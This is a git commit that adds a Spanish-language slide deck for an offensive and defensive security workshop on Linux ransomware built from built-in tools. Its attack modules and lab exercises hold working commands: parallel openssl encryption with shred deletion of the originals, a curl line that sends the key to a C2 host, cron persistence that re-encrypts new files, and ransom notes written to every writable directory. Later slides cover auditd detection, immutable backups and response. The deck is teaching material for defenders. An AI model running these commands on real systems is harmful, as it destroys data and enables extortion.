qct: modificada la dirstruct
This commit is contained in:
492
QueComanTierra/slides/slides.md
Normal file
492
QueComanTierra/slides/slides.md
Normal file
@@ -0,0 +1,492 @@
|
||||
---
|
||||
title: "Que coman tierra"
|
||||
subtitle: "De LOLBINs a ransomware"
|
||||
author: "Alignment Security"
|
||||
date: 2026
|
||||
theme: moon
|
||||
highlight-style: monokai
|
||||
---
|
||||
|
||||
# Que coman tierra {.center}
|
||||
|
||||
**De LOLBINs a ransomware**
|
||||
|
||||
*Taller de seguridad ofensiva y defensiva*
|
||||
|
||||
---
|
||||
|
||||
## El escenario
|
||||
|
||||
> "Comer tierra" es lo que sientes cuando descubres que un atacante cifró tus servidores **sin instalar nada.**
|
||||
|
||||
- Sin malware en disco
|
||||
- Sin firma que detectar
|
||||
- Sin alerta del antivirus
|
||||
|
||||
**¿Cómo es eso posible?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 1 {.center}
|
||||
|
||||
## El problema invisible
|
||||
|
||||
---
|
||||
|
||||
## ¿Qué son los LOLBins?
|
||||
|
||||
**Living Off the Land Binaries**
|
||||
|
||||
Herramientas legítimas del sistema operativo usadas con fines maliciosos.
|
||||
|
||||
- Ya están instaladas
|
||||
- Son de confianza para el OS
|
||||
- Los antivirus no las bloquean
|
||||
- Los logs las registran como actividad "normal"
|
||||
|
||||
---
|
||||
|
||||
## ¿Por qué los antivirus no los detienen?
|
||||
|
||||
Los AV buscan **firmas**: patrones de código malicioso conocido.
|
||||
|
||||
`openssl`, `find`, `xargs`, `shred`... son binarios firmados, legítimos, cotidianos.
|
||||
|
||||
No hay nada que detectar.
|
||||
|
||||
---
|
||||
|
||||
## Casos reales
|
||||
|
||||
- **NotPetya (2017):** usó `wmic` y `psexec` para propagación lateral
|
||||
- **Living off the Land attacks:** el 62% de los ataques modernos usan LOLBins (CrowdStrike, 2023)
|
||||
- **Ransomware-as-a-Service:** los kits más sofisticados evitan dropper ejecutables
|
||||
|
||||
**La pregunta incómoda: ¿qué tan fácil es replicarlo?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 2 {.center}
|
||||
|
||||
## El arsenal del sistema
|
||||
|
||||
---
|
||||
|
||||
## Lo que ya tienes instalado
|
||||
|
||||
| Herramienta | Para qué lo usa un atacante |
|
||||
|---|---|
|
||||
| `openssl` | Cifrado AES-256 |
|
||||
| `find` | Mapear archivos objetivo |
|
||||
| `xargs` | Paralelizar el ataque |
|
||||
| `shred` | Destruir los originales |
|
||||
| `cron` | Persistencia |
|
||||
| `curl` | Exfiltrar la clave |
|
||||
|
||||
*Ninguno de estos necesita instalación.*
|
||||
|
||||
---
|
||||
|
||||
## find: el reconocimiento
|
||||
|
||||
```bash
|
||||
# Mapear todos los archivos de valor
|
||||
find / -type f -writable \
|
||||
\( -name "*.txt" -o -name "*.pdf" \
|
||||
-o -name "*.docx" -o -name "*.db" \) \
|
||||
-print0 > /tmp/.targets
|
||||
```
|
||||
|
||||
Rápido. Silencioso. Está en cualquier Linux.
|
||||
|
||||
---
|
||||
|
||||
## xargs: el multiplicador de fuerza
|
||||
|
||||
`find` localiza. `xargs` paraleliza.
|
||||
|
||||
```bash
|
||||
# Secuencial - un archivo a la vez
|
||||
while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -in "$f" -out "${f}.enc"
|
||||
done < /tmp/.targets
|
||||
|
||||
# Paralelo - todos los cores, al mismo tiempo
|
||||
find /home/victim -type f -writable -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in {} -out {}.enc
|
||||
```
|
||||
|
||||
`-P $(nproc)` = un proceso por core. En 16 cores: **miles de archivos en segundos.**
|
||||
|
||||
---
|
||||
|
||||
## La ventana de detección se cierra
|
||||
|
||||
Benchmark real, root, servidor, `xargs -P 36`:
|
||||
|
||||
| Fase | Tiempo |
|
||||
|---|---|
|
||||
| Reconocimiento de dirs escribibles | < 1s |
|
||||
| Reconocimiento de archivos objetivo | < 1s |
|
||||
| **Cifrado + shred (xargs -P 36)** | **1m 49s** |
|
||||
| Notas de rescate en todos los dirs | < 1s |
|
||||
|
||||
Un backup en tiempo real típico tiene una ventana de **5 minutos**. El atacante termina antes.
|
||||
|
||||
---
|
||||
|
||||
# Módulo 3 {.center}
|
||||
|
||||
## Anatomía de un ataque
|
||||
|
||||
---
|
||||
|
||||
## Las 7 fases
|
||||
|
||||
1. **Reconocimiento** - `find -writable` mapea objetivos
|
||||
2. **Generación de clave** - `openssl rand` crea clave efímera
|
||||
3. **Cifrado paralelo** - `find | xargs -P` cifra todo
|
||||
4. **Destrucción** - `shred -u` elimina los originales
|
||||
5. **Exfiltración** - `curl` envía la clave al atacante
|
||||
6. **Rescate** - `echo` / `wall` notifica a la víctima
|
||||
7. **Persistencia** - `cron` re-cifra lo que se recupere
|
||||
|
||||
---
|
||||
|
||||
## Generación de clave
|
||||
|
||||
```bash
|
||||
# Clave AES-256 efímera - 32 bytes aleatorios
|
||||
KEY=$(openssl rand -hex 32)
|
||||
```
|
||||
|
||||
La clave **nunca toca disco en claro** si se exfiltra inmediatamente.
|
||||
|
||||
Sin clave = sin recuperación.
|
||||
|
||||
---
|
||||
|
||||
## Cifrado + destrucción
|
||||
|
||||
```bash
|
||||
printf '%s\0' "${TARGETS[@]}" \
|
||||
| xargs -0 -P $(nproc) -I% sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass pass:$KEY -in "$1" -out "$1.enc" \
|
||||
&& shred -u "$1"' _ %
|
||||
```
|
||||
|
||||
`shred` sobreescribe el archivo **varias veces** antes de borrarlo. No hay recuperación forense.
|
||||
|
||||
---
|
||||
|
||||
## Exfiltración de clave
|
||||
|
||||
```bash
|
||||
curl -sk "https://$C2/?k=$KEY&v=$(curl -s4 ifconfig.me)"
|
||||
```
|
||||
|
||||
Una sola petición HTTPS saliente. Difícil de distinguir de tráfico legítimo.
|
||||
|
||||
Una vez enviada: **la víctima no puede descifrar sin pagar.**
|
||||
|
||||
---
|
||||
|
||||
## Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
"*/5 * * * * find /home -type f -writable \
|
||||
-newer /tmp/.key -print0 \
|
||||
| xargs -0 -P 4 -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass pass:$KEY -in {} -out {}.enc") \
|
||||
| crontab -
|
||||
```
|
||||
|
||||
Cada 5 minutos: cualquier archivo nuevo que aparezca, cifrado.
|
||||
|
||||
---
|
||||
|
||||
# Módulo 4 {.center}
|
||||
|
||||
## Lab: "Preparando el plato"
|
||||
|
||||
---
|
||||
|
||||
## Entorno del lab
|
||||
|
||||
- VM Ubuntu/Debian **aislada** (sin red real)
|
||||
- Usuario no-root con home poblado de archivos de prueba
|
||||
- Snapshot limpio listo para restaurar entre ejercicios
|
||||
- **Nunca ejecutar fuera de esta VM**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 1: Reconocimiento
|
||||
|
||||
```bash
|
||||
find /home/victim -type f -writable \
|
||||
\( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) \
|
||||
> /tmp/.targets
|
||||
|
||||
wc -l /tmp/.targets
|
||||
```
|
||||
|
||||
**¿Cuántos archivos encontraste? ¿En cuánto tiempo?**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 2: Generar clave
|
||||
|
||||
```bash
|
||||
openssl rand -base64 32 > /tmp/.key
|
||||
cat /tmp/.key
|
||||
```
|
||||
|
||||
Esta es la clave que "el atacante" se lleva. Sin ella, no hay descifrado.
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 3: Sentir la diferencia
|
||||
|
||||
Primero mide la versión lenta:
|
||||
|
||||
```bash
|
||||
time while IFS= read -r f; do
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-in "$f" -out "${f}.enc" -pass file:/tmp/.key
|
||||
shred -u "$f"
|
||||
done < /tmp/.targets
|
||||
```
|
||||
|
||||
Luego restaura el snapshot y mide la versión real:
|
||||
|
||||
```bash
|
||||
time find /home/victim -type f -writable -print0 \
|
||||
| xargs -0 -P $(nproc) -I{} sh -c \
|
||||
'openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in "$1" -out "$1.enc" \
|
||||
&& shred -u "$1"' _ {}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 3: La pregunta clave
|
||||
|
||||
| Métrica | `while` loop | `xargs -P 36` | `tar \| openssl` |
|
||||
|---|---|---|---|
|
||||
| Tiempo total | **13m 40s** | **1m 49s** | **4.5s** |
|
||||
| Archivos | **3.301** | **3.301** | **3.470** |
|
||||
| Archivos/segundo | **~4 arch/s** | **~30 arch/s** | **~771 arch/s** |
|
||||
| Speedup | baseline | 7.5x | **182x** |
|
||||
| Output | 3.301 `.enc` | 3.301 `.enc` | 1 blob (29 MB) |
|
||||
| Ventana de detección | 13 min | < 2 min | **< 10 segundos** |
|
||||
|
||||
**¿En qué momento hubiera sido posible interrumpirlo?**
|
||||
|
||||
- `while` loop: tienes **13 minutos**, hay tiempo de detectar el spike de I/O y actuar
|
||||
- `xargs -P 36`: tienes **< 2 minutos**, necesitas detección automática, no humana
|
||||
- `tar | openssl`: tienes **< 5 segundos**, cuando llegas ya terminó
|
||||
|
||||
Con `tarbulk`: el único momento de intervención real es **antes** de que empiece, no durante.
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 4: Nota de rescate
|
||||
|
||||
```bash
|
||||
find / -type d -writable -print0 \
|
||||
| xargs -0 -I% sh -c \
|
||||
'echo "Tus archivos han sido cifrados.
|
||||
Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
|
||||
|
||||
wall /home/victim/LEEME_URGENTE.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
"*/5 * * * * find /home/victim -name '*.txt' \
|
||||
-newer /tmp/.key -print0 \
|
||||
| xargs -0 -P 4 -I{} \
|
||||
openssl enc -aes-256-cbc -pbkdf2 \
|
||||
-pass file:/tmp/.key -in {} -out {}.enc") \
|
||||
| crontab -
|
||||
```
|
||||
|
||||
Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 6: Forense post-ataque
|
||||
|
||||
```bash
|
||||
# ¿Qué quedó en auth.log?
|
||||
grep -E "openssl|shred|xargs" /var/log/syslog
|
||||
|
||||
# ¿Qué procesos corrieron?
|
||||
last
|
||||
journalctl --since "30 minutes ago" | grep -E "openssl|shred"
|
||||
|
||||
# ¿Qué modificó crontab?
|
||||
cat /var/spool/cron/crontabs/$(whoami)
|
||||
```
|
||||
|
||||
**¿Hubo alguna señal detectable en tiempo real?**
|
||||
|
||||
---
|
||||
|
||||
# Módulo 5 {.center}
|
||||
|
||||
## Defensa: cómo no comer tierra
|
||||
|
||||
---
|
||||
|
||||
## El principio
|
||||
|
||||
> Si entendiste el ataque, entiendes dónde poner los controles.
|
||||
|
||||
Cada fase del ataque tiene un control defensivo correspondiente.
|
||||
|
||||
---
|
||||
|
||||
## Detección: auditd
|
||||
|
||||
```bash
|
||||
# Instalar
|
||||
apt install auditd
|
||||
|
||||
# Vigilar llamadas masivas a openssl
|
||||
auditctl -w /usr/bin/openssl -p x -k crypto_exec
|
||||
|
||||
# Vigilar modificaciones a crontab
|
||||
auditctl -w /var/spool/cron -p wa -k crontab_mod
|
||||
|
||||
# Ver alertas
|
||||
ausearch -k crypto_exec | tail -20
|
||||
```
|
||||
|
||||
Un spike de 500 procesos `openssl` en 10 segundos **es una alerta real.**
|
||||
|
||||
---
|
||||
|
||||
## Detección: comportamiento, no firma
|
||||
|
||||
Lo que hay que buscar:
|
||||
|
||||
- `openssl` lanzado por un proceso no esperado
|
||||
- `xargs` con `-P` alto y muchos forks en poco tiempo
|
||||
- `shred` ejecutado sobre extensiones de documento
|
||||
- Escritura masiva de archivos `.enc` en directorios de usuario
|
||||
- Modificación de `crontab` fuera de ventanas de mantenimiento
|
||||
|
||||
---
|
||||
|
||||
## Prevención: backups inmutables
|
||||
|
||||
```bash
|
||||
# restic con repositorio de solo-escritura
|
||||
restic -r s3:s3.amazonaws.com/mi-bucket backup /home
|
||||
|
||||
# ZFS snapshot automático cada hora
|
||||
zfs snapshot tank/home@$(date +%Y%m%d-%H%M)
|
||||
|
||||
# S3 Object Lock - no se puede borrar aunque te roben las credenciales
|
||||
aws s3api put-object-retention ...
|
||||
```
|
||||
|
||||
El ransomware cifra lo que puede escribir. **No puede borrar un snapshot ZFS ni un Object Lock.**
|
||||
|
||||
---
|
||||
|
||||
## Prevención: mínimo privilegio
|
||||
|
||||
```bash
|
||||
# Archivos críticos inmutables
|
||||
chattr +i /etc/passwd /etc/shadow /etc/crontab
|
||||
|
||||
# AppArmor: openssl solo puede leer /tmp y /home/app
|
||||
# /etc/apparmor.d/usr.bin.openssl
|
||||
/usr/bin/openssl {
|
||||
/tmp/** rw,
|
||||
/home/app/** rw,
|
||||
deny /** w,
|
||||
}
|
||||
```
|
||||
|
||||
Un proceso que no puede escribir fuera de su directorio **no puede cifrar el sistema.**
|
||||
|
||||
---
|
||||
|
||||
## Respuesta: el runbook
|
||||
|
||||
1. **Aislar** - desconectar de red, no apagar (la clave puede estar en RAM)
|
||||
2. **Preservar** - dump de memoria con `avml` antes de cualquier acción
|
||||
3. **Identificar** - ¿la clave fue exfiltrada? revisar logs de red
|
||||
4. **Contener** - revocar credenciales, limpiar crontabs
|
||||
5. **Recuperar** - restaurar desde snapshot inmutable más reciente
|
||||
6. **Post-mortem** - ¿qué control hubiera parado esto?
|
||||
|
||||
---
|
||||
|
||||
# Módulo 6 {.center}
|
||||
|
||||
## Cierre
|
||||
|
||||
---
|
||||
|
||||
## Lo que aprendiste hoy
|
||||
|
||||
- Los LOLBins convierten el sistema en su propio enemigo
|
||||
- `xargs -P` es la diferencia entre minutos y segundos
|
||||
- El cifrado AES-256 con `openssl` es trivial desde la CLI
|
||||
- La defensa efectiva requiere entender el ataque
|
||||
|
||||
---
|
||||
|
||||
## La lección real
|
||||
|
||||
> La mejor defensa es saber exactamente cómo te van a atacar.
|
||||
|
||||
Un blue teamer que nunca ha ejecutado un ataque **no sabe qué está buscando.**
|
||||
|
||||
---
|
||||
|
||||
## Recursos
|
||||
|
||||
- **GTFOBins** - catálogo de LOLBins y sus usos ofensivos
|
||||
- **LOLBAS** - equivalente para Windows
|
||||
- **MITRE ATT&CK T1486** - Data Encrypted for Impact
|
||||
- **auditd rules** - github.com/Neo23x0/auditd
|
||||
|
||||
**Tarea:** auditar tu propio entorno con `auditd`. ¿Qué encontraste?
|
||||
|
||||
---
|
||||
|
||||
## {.center}
|
||||
|
||||
*"Que coman tierra... pero los atacantes."*
|
||||
|
||||
**Preguntas**
|
||||
|
||||
---
|
||||
|
||||
## Compilar con pandoc
|
||||
|
||||
```bash
|
||||
# PPTX con plantilla corporativa (recomendado)
|
||||
pandoc slides.md -t pptx \
|
||||
--reference-doc="../../Red Team.pptx" \
|
||||
-o slides.pptx
|
||||
|
||||
# reveal.js (para presentar en browser)
|
||||
pandoc slides.md -t revealjs -s \
|
||||
--highlight-style=monokai \
|
||||
-o slides.html
|
||||
```
|
||||
Reference in New Issue
Block a user